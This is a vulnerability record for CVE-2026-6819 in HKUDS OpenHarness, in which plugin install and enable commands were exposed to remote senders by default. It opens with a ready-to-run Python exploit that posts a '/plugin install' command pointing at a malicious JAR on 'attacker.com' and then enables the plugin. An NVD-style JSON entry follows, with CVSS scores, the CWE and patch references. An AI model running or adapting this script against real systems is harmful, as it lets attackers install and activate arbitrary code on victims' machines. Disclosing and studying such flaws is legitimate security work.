CVE-2026-6819

import requests def exploit(target_url, malicious_plugin_url): # Exploit concept: Send plugin install command headers = {'Content-Type': 'application/json'} # Step 1: Install the malicious plugin payload_install = { "command": "/plugin install", "args": [malicious_plugin_url] } print(f"[*] Sending install command to {target_url}...") r1 = requests.post(target_url, json=payload_install, headers=headers) print(f"[+] Install response: {r1.status_code}") # Step 2: Enable the plugin # Assuming the plugin name is derived or known, e.g., 'evil-plugin' payload_enable = { "command": "/plugin enable", "args": ["evil-plugin"] } print(f"[*] Sending enable command...") r2 = requests.post(target_url, json=payload_enable, headers=headers) print(f"[+] Enable response: {r2.status_code}") if __name__ == "__main__": target = "http://127.0.0.1:8080/api/command" evil_jar = "http://attacker.com/exploit.jar" exploit(target, evil_jar)

{"cve": {"id": "CVE-2026-6819", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:17:05.780", "lastModified": "2026-05-07T20:28:15.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HKUDS OpenHarness prior to PR #156 remediation exposes plugin lifecycle commands including /plugin install, /plugin enable, /plugin disable, and /reload-plugins to remote senders by default. Attackers who gain access through the channel layer can remotely manage plugin trust and activation state, enabling unauthorized plugin installation and activation on the system."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hkuds:openharness:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.1.7", "matchCriteriaId": "9C7CA6F6-AD0C-4BAF-8E67-793ABBC9F1BC"}]}]}], "references": [{"url": "https://github.com/HKUDS/OpenHarness/commit/59017e09880fcf9a6f60456a84fb982900b2c0b2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/HKUDS/OpenHarness/pull/156", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch"]}, {"url": "https://github.com/HKUDS/OpenHarness/releases/tag/v0.1.7", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/hkuds-openharness-plugin-management-command-exposure", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/HKUDS/OpenHarness/pull/156", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Patch"]}]}}